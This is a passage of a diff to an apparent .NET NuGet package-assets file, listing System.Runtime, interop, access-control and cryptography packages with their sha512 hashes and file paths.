"/zrcPkkWdZmI4F92gL/TPumP98AVDu/Wxr3CSJGQQ+XN6wbRZcyfSKVoPo17ilb3iOr0cCRqJInGwNMolqhS8A==", + "type": "package", + "path": "system.resources.resourcemanager/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/netcore50/System.Resources.ResourceManager.dll", + "ref/netcore50/System.Resources.ResourceManager.xml", + "ref/netcore50/de/System.Resources.ResourceManager.xml", + "ref/netcore50/es/System.Resources.ResourceManager.xml", + "ref/netcore50/fr/System.Resources.ResourceManager.xml", + "ref/netcore50/it/System.Resources.ResourceManager.xml", + "ref/netcore50/ja/System.Resources.ResourceManager.xml", + "ref/netcore50/ko/System.Resources.ResourceManager.xml", + "ref/netcore50/ru/System.Resources.ResourceManager.xml", + "ref/netcore50/zh-hans/System.Resources.ResourceManager.xml", + "ref/netcore50/zh-hant/System.Resources.ResourceManager.xml", + "ref/netstandard1.0/System.Resources.ResourceManager.dll", + "ref/netstandard1.0/System.Resources.ResourceManager.xml", + "ref/netstandard1.0/de/System.Resources.ResourceManager.xml", + "ref/netstandard1.0/es/System.Resources.ResourceManager.xml", + "ref/netstandard1.0/fr/System.Resources.ResourceManager.xml", + "ref/netstandard1.0/it/System.Resources.ResourceManager.xml", + "ref/netstandard1.0/ja/System.Resources.ResourceManager.xml", + "ref/netstandard1.0/ko/System.Resources.ResourceManager.xml", + "ref/netstandard1.0/ru/System.Resources.ResourceManager.xml", + "ref/netstandard1.0/zh-hans/System.Resources.ResourceManager.xml", + "ref/netstandard1.0/zh-hant/System.Resources.ResourceManager.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.resources.resourcemanager.4.3.0.nupkg.sha512", + "system.resources.resourcemanager.nuspec" + ] + }, + "System.Runtime/4.3.0": { + "sha512": "JufQi0vPQ0xGnAczR13AUFglDyVYt4Kqnz1AZaiKZ5+GICq0/1MH/mO/eAJHt/mHW1zjKBJd7kV26SrxddAhiw==", + "type": "package", + "path": "system.runtime/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/net462/System.Runtime.dll", + "lib/portable-net45+win8+wp80+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/net462/System.Runtime.dll", + "ref/netcore50/System.Runtime.dll", + "ref/netcore50/System.Runtime.xml", + "ref/netcore50/de/System.Runtime.xml", + "ref/netcore50/es/System.Runtime.xml", + "ref/netcore50/fr/System.Runtime.xml", + "ref/netcore50/it/System.Runtime.xml", + "ref/netcore50/ja/System.Runtime.xml", + "ref/netcore50/ko/System.Runtime.xml", + "ref/netcore50/ru/System.Runtime.xml", + "ref/netcore50/zh-hans/System.Runtime.xml", + "ref/netcore50/zh-hant/System.Runtime.xml", + "ref/netstandard1.0/System.Runtime.dll", + "ref/netstandard1.0/System.Runtime.xml", + "ref/netstandard1.0/de/System.Runtime.xml", + "ref/netstandard1.0/es/System.Runtime.xml", + "ref/netstandard1.0/fr/System.Runtime.xml", + "ref/netstandard1.0/it/System.Runtime.xml", + "ref/netstandard1.0/ja/System.Runtime.xml", + "ref/netstandard1.0/ko/System.Runtime.xml", + "ref/netstandard1.0/ru/System.Runtime.xml", + "ref/netstandard1.0/zh-hans/System.Runtime.xml", + "ref/netstandard1.0/zh-hant/System.Runtime.xml", + "ref/netstandard1.2/System.Runtime.dll", + "ref/netstandard1.2/System.Runtime.xml", + "ref/netstandard1.2/de/System.Runtime.xml", + "ref/netstandard1.2/es/System.Runtime.xml", + "ref/netstandard1.2/fr/System.Runtime.xml", + "ref/netstandard1.2/it/System.Runtime.xml", + "ref/netstandard1.2/ja/System.Runtime.xml", + "ref/netstandard1.2/ko/System.Runtime.xml", + "ref/netstandard1.2/ru/System.Runtime.xml", + "ref/netstandard1.2/zh-hans/System.Runtime.xml", + "ref/netstandard1.2/zh-hant/System.Runtime.xml", + "ref/netstandard1.3/System.Runtime.dll", + "ref/netstandard1.3/System.Runtime.xml", + "ref/netstandard1.3/de/System.Runtime.xml", + "ref/netstandard1.3/es/System.Runtime.xml", + "ref/netstandard1.3/fr/System.Runtime.xml", + "ref/netstandard1.3/it/System.Runtime.xml", + "ref/netstandard1.3/ja/System.Runtime.xml", + "ref/netstandard1.3/ko/System.Runtime.xml", + "ref/netstandard1.3/ru/System.Runtime.xml", + "ref/netstandard1.3/zh-hans/System.Runtime.xml", + "ref/netstandard1.3/zh-hant/System.Runtime.xml", + "ref/netstandard1.5/System.Runtime.dll", + "ref/netstandard1.5/System.Runtime.xml", + "ref/netstandard1.5/de/System.Runtime.xml", + "ref/netstandard1.5/es/System.Runtime.xml", + "ref/netstandard1.5/fr/System.Runtime.xml", + "ref/netstandard1.5/it/System.Runtime.xml", + "ref/netstandard1.5/ja/System.Runtime.xml", + "ref/netstandard1.5/ko/System.Runtime.xml", + "ref/netstandard1.5/ru/System.Runtime.xml", + "ref/netstandard1.5/zh-hans/System.Runtime.xml", + "ref/netstandard1.5/zh-hant/System.Runtime.xml", + "ref/portable-net45+win8+wp80+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.runtime.4.3.0.nupkg.sha512", + "system.runtime.nuspec" + ] + }, + "System.Runtime.Extensions/4.3.0": { + "sha512": "guW0uK0fn5fcJJ1tJVXYd7/1h5F+pea1r7FLSOz/f8vPEqbR2ZAknuRDvTQ8PzAilDveOxNjSfr0CHfIQfFk8g==", + "type": "package", + "path": "system.runtime.extensions/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/net462/System.Runtime.Extensions.dll", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/net462/System.Runtime.Extensions.dll", + "ref/netcore50/System.Runtime.Extensions.dll", + "ref/netcore50/System.Runtime.Extensions.xml", + "ref/netcore50/de/System.Runtime.Extensions.xml", + "ref/netcore50/es/System.Runtime.Extensions.xml", + "ref/netcore50/fr/System.Runtime.Extensions.xml", + "ref/netcore50/it/System.Runtime.Extensions.xml", + "ref/netcore50/ja/System.Runtime.Extensions.xml", + "ref/netcore50/ko/System.Runtime.Extensions.xml", + "ref/netcore50/ru/System.Runtime.Extensions.xml", + "ref/netcore50/zh-hans/System.Runtime.Extensions.xml", + "ref/netcore50/zh-hant/System.Runtime.Extensions.xml", + "ref/netstandard1.0/System.Runtime.Extensions.dll", + "ref/netstandard1.0/System.Runtime.Extensions.xml", + "ref/netstandard1.0/de/System.Runtime.Extensions.xml", + "ref/netstandard1.0/es/System.Runtime.Extensions.xml", + "ref/netstandard1.0/fr/System.Runtime.Extensions.xml", + "ref/netstandard1.0/it/System.Runtime.Extensions.xml", + "ref/netstandard1.0/ja/System.Runtime.Extensions.xml", + "ref/netstandard1.0/ko/System.Runtime.Extensions.xml", + "ref/netstandard1.0/ru/System.Runtime.Extensions.xml", + "ref/netstandard1.0/zh-hans/System.Runtime.Extensions.xml", + "ref/netstandard1.0/zh-hant/System.Runtime.Extensions.xml", + "ref/netstandard1.3/System.Runtime.Extensions.dll", + "ref/netstandard1.3/System.Runtime.Extensions.xml", + "ref/netstandard1.3/de/System.Runtime.Extensions.xml", + "ref/netstandard1.3/es/System.Runtime.Extensions.xml", + "ref/netstandard1.3/fr/System.Runtime.Extensions.xml", + "ref/netstandard1.3/it/System.Runtime.Extensions.xml", + "ref/netstandard1.3/ja/System.Runtime.Extensions.xml", + "ref/netstandard1.3/ko/System.Runtime.Extensions.xml", + "ref/netstandard1.3/ru/System.Runtime.Extensions.xml", + "ref/netstandard1.3/zh-hans/System.Runtime.Extensions.xml", + "ref/netstandard1.3/zh-hant/System.Runtime.Extensions.xml", + "ref/netstandard1.5/System.Runtime.Extensions.dll", + "ref/netstandard1.5/System.Runtime.Extensions.xml", + "ref/netstandard1.5/de/System.Runtime.Extensions.xml", + "ref/netstandard1.5/es/System.Runtime.Extensions.xml", + "ref/netstandard1.5/fr/System.Runtime.Extensions.xml", + "ref/netstandard1.5/it/System.Runtime.Extensions.xml", + "ref/netstandard1.5/ja/System.Runtime.Extensions.xml", + "ref/netstandard1.5/ko/System.Runtime.Extensions.xml", + "ref/netstandard1.5/ru/System.Runtime.Extensions.xml", + "ref/netstandard1.5/zh-hans/System.Runtime.Extensions.xml", + "ref/netstandard1.5/zh-hant/System.Runtime.Extensions.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.runtime.extensions.4.3.0.nupkg.sha512", + "system.runtime.extensions.nuspec" + ] + }, + "System.Runtime.Handles/4.3.0": { + "sha512": "OKiSUN7DmTWeYb3l51A7EYaeNMnvxwE249YtZz7yooT4gOZhmTjIn48KgSsw2k2lYdLgTKNJw/ZIfSElwDRVgg==", + "type": "package", + "path": "system.runtime.handles/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net46/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net46/_._", + "ref/netstandard1.3/System.Runtime.Handles.dll", + "ref/netstandard1.3/System.Runtime.Handles.xml", + "ref/netstandard1.3/de/System.Runtime.Handles.xml", + "ref/netstandard1.3/es/System.Runtime.Handles.xml", + "ref/netstandard1.3/fr/System.Runtime.Handles.xml", + "ref/netstandard1.3/it/System.Runtime.Handles.xml", + "ref/netstandard1.3/ja/System.Runtime.Handles.xml", + "ref/netstandard1.3/ko/System.Runtime.Handles.xml", + "ref/netstandard1.3/ru/System.Runtime.Handles.xml", + "ref/netstandard1.3/zh-hans/System.Runtime.Handles.xml", + "ref/netstandard1.3/zh-hant/System.Runtime.Handles.xml", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.runtime.handles.4.3.0.nupkg.sha512", + "system.runtime.handles.nuspec" + ] + }, + "System.Runtime.InteropServices/4.3.0": { + "sha512": "uv1ynXqiMK8mp1GM3jDqPCFN66eJ5w5XNomaK2XD+TuCroNTLFGeZ+WCmBMcBDyTFKou3P6cR6J/QsaqDp7fGQ==", + "type": "package", + "path": "system.runtime.interopservices/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/net462/System.Runtime.InteropServices.dll", + "lib/net463/System.Runtime.InteropServices.dll", + "lib/portable-net45+win8+wpa81/_._", + "lib/win8/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/net462/System.Runtime.InteropServices.dll", + "ref/net463/System.Runtime.InteropServices.dll", + "ref/netcore50/System.Runtime.InteropServices.dll", + "ref/netcore50/System.Runtime.InteropServices.xml", + "ref/netcore50/de/System.Runtime.InteropServices.xml", + "ref/netcore50/es/System.Runtime.InteropServices.xml", + "ref/netcore50/fr/System.Runtime.InteropServices.xml", + "ref/netcore50/it/System.Runtime.InteropServices.xml", + "ref/netcore50/ja/System.Runtime.InteropServices.xml", + "ref/netcore50/ko/System.Runtime.InteropServices.xml", + "ref/netcore50/ru/System.Runtime.InteropServices.xml", + "ref/netcore50/zh-hans/System.Runtime.InteropServices.xml", + "ref/netcore50/zh-hant/System.Runtime.InteropServices.xml", + "ref/netcoreapp1.1/System.Runtime.InteropServices.dll", + "ref/netstandard1.1/System.Runtime.InteropServices.dll", + "ref/netstandard1.1/System.Runtime.InteropServices.xml", + "ref/netstandard1.1/de/System.Runtime.InteropServices.xml", + "ref/netstandard1.1/es/System.Runtime.InteropServices.xml", + "ref/netstandard1.1/fr/System.Runtime.InteropServices.xml", + "ref/netstandard1.1/it/System.Runtime.InteropServices.xml", + "ref/netstandard1.1/ja/System.Runtime.InteropServices.xml", + "ref/netstandard1.1/ko/System.Runtime.InteropServices.xml", + "ref/netstandard1.1/ru/System.Runtime.InteropServices.xml", + "ref/netstandard1.1/zh-hans/System.Runtime.InteropServices.xml", + "ref/netstandard1.1/zh-hant/System.Runtime.InteropServices.xml", + "ref/netstandard1.2/System.Runtime.InteropServices.dll", + "ref/netstandard1.2/System.Runtime.InteropServices.xml", + "ref/netstandard1.2/de/System.Runtime.InteropServices.xml", + "ref/netstandard1.2/es/System.Runtime.InteropServices.xml", + "ref/netstandard1.2/fr/System.Runtime.InteropServices.xml", + "ref/netstandard1.2/it/System.Runtime.InteropServices.xml", + "ref/netstandard1.2/ja/System.Runtime.InteropServices.xml", + "ref/netstandard1.2/ko/System.Runtime.InteropServices.xml", + "ref/netstandard1.2/ru/System.Runtime.InteropServices.xml", + "ref/netstandard1.2/zh-hans/System.Runtime.InteropServices.xml", + "ref/netstandard1.2/zh-hant/System.Runtime.InteropServices.xml", + "ref/netstandard1.3/System.Runtime.InteropServices.dll", + "ref/netstandard1.3/System.Runtime.InteropServices.xml", + "ref/netstandard1.3/de/System.Runtime.InteropServices.xml", + "ref/netstandard1.3/es/System.Runtime.InteropServices.xml", + "ref/netstandard1.3/fr/System.Runtime.InteropServices.xml", + "ref/netstandard1.3/it/System.Runtime.InteropServices.xml", + "ref/netstandard1.3/ja/System.Runtime.InteropServices.xml", + "ref/netstandard1.3/ko/System.Runtime.InteropServices.xml", + "ref/netstandard1.3/ru/System.Runtime.InteropServices.xml", + "ref/netstandard1.3/zh-hans/System.Runtime.InteropServices.xml", + "ref/netstandard1.3/zh-hant/System.Runtime.InteropServices.xml", + "ref/netstandard1.5/System.Runtime.InteropServices.dll", + "ref/netstandard1.5/System.Runtime.InteropServices.xml", + "ref/netstandard1.5/de/System.Runtime.InteropServices.xml", + "ref/netstandard1.5/es/System.Runtime.InteropServices.xml", + "ref/netstandard1.5/fr/System.Runtime.InteropServices.xml", + "ref/netstandard1.5/it/System.Runtime.InteropServices.xml", + "ref/netstandard1.5/ja/System.Runtime.InteropServices.xml", + "ref/netstandard1.5/ko/System.Runtime.InteropServices.xml", + "ref/netstandard1.5/ru/System.Runtime.InteropServices.xml", + "ref/netstandard1.5/zh-hans/System.Runtime.InteropServices.xml", + "ref/netstandard1.5/zh-hant/System.Runtime.InteropServices.xml", + "ref/portable-net45+win8+wpa81/_._", + "ref/win8/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.runtime.interopservices.4.3.0.nupkg.sha512", + "system.runtime.interopservices.nuspec" + ] + }, + "System.Runtime.InteropServices.RuntimeInformation/4.3.0": { + "sha512": "cbz4YJMqRDR7oLeMRbdYv7mYzc++17lNhScCX0goO2XpGWdvAt60CGN+FHdePUEHCe/Jy9jUlvNAiNdM+7jsOw==", + "type": "package", + "path": "system.runtime.interopservices.runtimeinformation/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/System.Runtime.InteropServices.RuntimeInformation.dll", + "lib/netstandard1.1/System.Runtime.InteropServices.RuntimeInformation.dll", + "lib/win8/System.Runtime.InteropServices.RuntimeInformation.dll", + "lib/wpa81/System.Runtime.InteropServices.RuntimeInformation.dll", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/netstandard1.1/System.Runtime.InteropServices.RuntimeInformation.dll", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "runtimes/aot/lib/netcore50/System.Runtime.InteropServices.RuntimeInformation.dll", + "runtimes/unix/lib/netstandard1.1/System.Runtime.InteropServices.RuntimeInformation.dll", + "runtimes/win/lib/net45/System.Runtime.InteropServices.RuntimeInformation.dll", + "runtimes/win/lib/netcore50/System.Runtime.InteropServices.RuntimeInformation.dll", + "runtimes/win/lib/netstandard1.1/System.Runtime.InteropServices.RuntimeInformation.dll", + "system.runtime.interopservices.runtimeinformation.4.3.0.nupkg.sha512", + "system.runtime.interopservices.runtimeinformation.nuspec" + ] + }, + "System.Runtime.Numerics/4.3.0": { + "sha512": "yMH+MfdzHjy17l2KESnPiF2dwq7T+xLnSJar7slyimAkUh/gTrS9/UQOtv7xarskJ2/XDSNvfLGOBQPjL7PaHQ==", + "type": "package", + "path": "system.runtime.numerics/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/netcore50/System.Runtime.Numerics.dll", + "lib/netstandard1.3/System.Runtime.Numerics.dll", + "lib/portable-net45+win8+wpa81/_._", + "lib/win8/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/netcore50/System.Runtime.Numerics.dll", + "ref/netcore50/System.Runtime.Numerics.xml", + "ref/netcore50/de/System.Runtime.Numerics.xml", + "ref/netcore50/es/System.Runtime.Numerics.xml", + "ref/netcore50/fr/System.Runtime.Numerics.xml", + "ref/netcore50/it/System.Runtime.Numerics.xml", + "ref/netcore50/ja/System.Runtime.Numerics.xml", + "ref/netcore50/ko/System.Runtime.Numerics.xml", + "ref/netcore50/ru/System.Runtime.Numerics.xml", + "ref/netcore50/zh-hans/System.Runtime.Numerics.xml", + "ref/netcore50/zh-hant/System.Runtime.Numerics.xml", + "ref/netstandard1.1/System.Runtime.Numerics.dll", + "ref/netstandard1.1/System.Runtime.Numerics.xml", + "ref/netstandard1.1/de/System.Runtime.Numerics.xml", + "ref/netstandard1.1/es/System.Runtime.Numerics.xml", + "ref/netstandard1.1/fr/System.Runtime.Numerics.xml", + "ref/netstandard1.1/it/System.Runtime.Numerics.xml", + "ref/netstandard1.1/ja/System.Runtime.Numerics.xml", + "ref/netstandard1.1/ko/System.Runtime.Numerics.xml", + "ref/netstandard1.1/ru/System.Runtime.Numerics.xml", + "ref/netstandard1.1/zh-hans/System.Runtime.Numerics.xml", + "ref/netstandard1.1/zh-hant/System.Runtime.Numerics.xml", + "ref/portable-net45+win8+wpa81/_._", + "ref/win8/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.runtime.numerics.4.3.0.nupkg.sha512", + "system.runtime.numerics.nuspec" + ] + }, + "System.Security.AccessControl/4.7.0": { + "sha512": "JECvTt5aFF3WT3gHpfofL2MNNP6v84sxtXxpqhLBCcDRzqsPBmHhQ6shv4DwwN2tRlzsUxtb3G9M3763rbXKDg==", + "type": "package", + "path": "system.security.accesscontrol/4.7.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "LICENSE.TXT", + "THIRD-PARTY-NOTICES.TXT", + "lib/net46/System.Security.AccessControl.dll", + "lib/net461/System.Security.AccessControl.dll", + "lib/net461/System.Security.AccessControl.xml", + "lib/netstandard1.3/System.Security.AccessControl.dll", + "lib/netstandard2.0/System.Security.AccessControl.dll", + "lib/netstandard2.0/System.Security.AccessControl.xml", + "lib/uap10.0.16299/_._", + "ref/net46/System.Security.AccessControl.dll", + "ref/net461/System.Security.AccessControl.dll", + "ref/net461/System.Security.AccessControl.xml", + "ref/netstandard1.3/System.Security.AccessControl.dll", + "ref/netstandard1.3/System.Security.AccessControl.xml", + "ref/netstandard1.3/de/System.Security.AccessControl.xml", + "ref/netstandard1.3/es/System.Security.AccessControl.xml", + "ref/netstandard1.3/fr/System.Security.AccessControl.xml", + "ref/netstandard1.3/it/System.Security.AccessControl.xml", + "ref/netstandard1.3/ja/System.Security.AccessControl.xml", + "ref/netstandard1.3/ko/System.Security.AccessControl.xml", + "ref/netstandard1.3/ru/System.Security.AccessControl.xml", + "ref/netstandard1.3/zh-hans/System.Security.AccessControl.xml", + "ref/netstandard1.3/zh-hant/System.Security.AccessControl.xml", + "ref/netstandard2.0/System.Security.AccessControl.dll", + "ref/netstandard2.0/System.Security.AccessControl.xml", + "ref/uap10.0.16299/_._", + "runtimes/win/lib/net46/System.Security.AccessControl.dll", + "runtimes/win/lib/net461/System.Security.AccessControl.dll", + "runtimes/win/lib/net461/System.Security.AccessControl.xml", + "runtimes/win/lib/netcoreapp2.0/System.Security.AccessControl.dll", + "runtimes/win/lib/netcoreapp2.0/System.Security.AccessControl.xml", + "runtimes/win/lib/netstandard1.3/System.Security.AccessControl.dll", + "runtimes/win/lib/uap10.0.16299/_._", + "system.security.accesscontrol.4.7.0.nupkg.sha512", + "system.security.accesscontrol.nuspec", + "useSharedDesignerContext.txt", + "version.txt" + ] + }, + "System.Security.Cryptography.Algorithms/4.3.0": { + "sha512": "W1kd2Y8mYSCgc3ULTAZ0hOP2dSdG5YauTb1089T0/kRcN2MpSAW1izOFROrJgxSlMn3ArsgHXagigyi+ibhevg==", + "type": "package", + "path": "system.security.cryptography.algorithms/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net46/System.Security.Cryptography.Algorithms.dll", + "lib/net461/System.Security.Cryptography.Algorithms.dll", + "lib/net463/System.Security.Cryptography.Algorithms.dll", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net46/System.Security.Cryptography.Algorithms.dll", + "ref/net461/System.Security.Cryptography.Algorithms.dll", + "ref/net463/System.Security.Cryptography.Algorithms.dll", + "ref/netstandard1.3/System.Security.Cryptography.Algorithms.dll", + "ref/netstandard1.4/System.Security.Cryptography.Algorithms.dll", + "ref/netstandard1.6/System.Security.Cryptography.Algorithms.dll", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "runtimes/osx/lib/netstandard1.6/System.Security.Cryptography.Algorithms.dll", + "runtimes/unix/lib/netstandard1.6/System.Security.Cryptography.Algorithms.dll", + "runtimes/win/lib/net46/System.Security.Cryptography.Algorithms.dll", + "runtimes/win/lib/net461/System.Security.Cryptography.Algorithms.dll", + "runtimes/win/lib/net463/System.Security.Cryptography.Algorithms.dll", + "runtimes/win/lib/netcore50/System.Security.Cryptography.Algorithms.dll", + "runtimes/win/lib/netstandard1.6/System.Security.Cryptography.Algorithms.dll", + "system.security.cryptography.algorithms.4.3.0.nupkg.sha512", + "system.security.cryptography.algorithms.nuspec" + ] + }, + "System.Security.Cryptography.Cng/4.3.0": { + "sha512": "03idZOqFlsKRL4W+LuCpJ6dBYDUWReug6lZjBa3uJWnk5sPCUXckocevTaUA8iT/MFSrY/2HXkOt753xQ/cf8g==", + "type": "package", + "path": "system.security.cryptography.cng/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/net46/System.Security.Cryptography.Cng.dll", + "lib/net461/System.Security.Cryptography.Cng.dll", + "lib/net463/System.Security.Cryptography.Cng.dll", + "ref/net46/System.Security.Cryptography.Cng.dll", + "ref/net461/System.Security.Cryptography.Cng.dll", + "ref/net463/System.Security.Cryptography.Cng.dll", + "ref/netstandard1.3/System.Security.Cryptography.Cng.dll", + "ref/netstandard1.4/System.Security.Cryptography.Cng.dll", + "ref/netstandard1.6/System.Security.Cryptography.Cng.dll", + "runtimes/unix/lib/netstandard1.6/System.Security.Cryptography.Cng.dll", + "runtimes/win/lib/net46/System.Security.Cryptography.Cng.dll", + "runtimes/win/lib/net461/System.Security.Cryptography.Cng.dll", + "runtimes/win/lib/net463/System.Security.Cryptography.Cng.dll", + "runtimes/win/lib/netstandard1.4/System.Security.Cryptography.Cng.dll", + "runtimes/win/lib/netstandard1.6/System.Security.Cryptography.Cng.dll", + "system.security.cryptography.cng.4.3.0.nupkg.sha512", + "system.security.cryptography.cng.nuspec" + ] + }, + "System.Security.Cryptography.Csp/4.3.0": { + "sha512": "X4s/FCkEUnRGnwR3aSfVIkldBmtURMhmexALNTwpjklzxWU7yjMk7GHLKOZTNkgnWnE0q7+BCf9N2LVRWxewaA==", + "type": "package", + "path": "system.security.cryptography.csp/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net46/System.Security.Cryptography.Csp.dll", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net46/System.Security.Cryptography.Csp.dll", + "ref/netstandard1.3/System.Security.Cryptography.Csp.dll", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "runtimes/unix/lib/netstandard1.3/System.Security.Cryptography.Csp.dll", + "runtimes/win/lib/net46/System.Security.Cryptography.Csp.dll", + "runtimes/win/lib/netcore50/_._", + "runtimes/win/lib/netstandard1.3/System.Security.Cryptography.Csp.dll", + "system.security.cryptography.csp.4.3.0.nupkg.sha512", + "system.security.cryptography.csp.nuspec" + ] + }, + "System.Security.Cryptography.Encoding/4.3.0": { + "sha512": "1DEWjZZly9ae9C79vFwqaO5kaOlI5q+3/55ohmq/7dpDyDfc8lYe7YVxJUZ5MF/NtbkRjwFRo14yM4OEo9EmDw==", + "type": "package", + "path": "system.security.cryptography.encoding/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net46/System.Security.Cryptography.Encoding.dll", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net46/System.Security.Cryptography.Encoding.dll", + "ref/netstandard1.3/System.Security.Cryptography.Encoding.dll", + "ref/netstandard1.3/System.Security.Cryptography.Encoding.xml", + "ref/netstandard1.3/de/System.Security.Cryptography.Encoding.xml", + "ref/netstandard1.3/es/System.Security.Cryptography.Encoding.xml", + "ref/netstandard1.3/fr/System.Security.Cryptography.Encoding.xml", + "ref/netstandard1.3/it/System.Security.Cryptography.Encoding.xml", + "ref/netstandard1.3/ja/System.Security.Cryptography.Encoding.xml", + "ref/netstandard1.3/ko/System.Security.Cryptography.Encoding.xml", + "ref/netstandard1.3/ru/System.Security.Cryptography.Encoding.xml", + "ref/netstandard1.3/zh-hans/System.Security.Cryptography.Encoding.xml", + "ref/netstandard1.3/zh-hant/System.Security.Cryptography.Encoding.xml", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "runtimes/unix/lib/netstandard1.3/System.Security.Cryptography.Encoding.dll", + "runtimes/win/lib/net46/System.Security.Cryptography.Encoding.dll", + "runtimes/win/lib/netstandard1.3/System.Security.Cryptography.Encoding.dll", + "system.security.cryptography.encoding.4.3.0.nupkg.sha512", + "system.security.cryptography.encoding.nuspec" + ] + }, 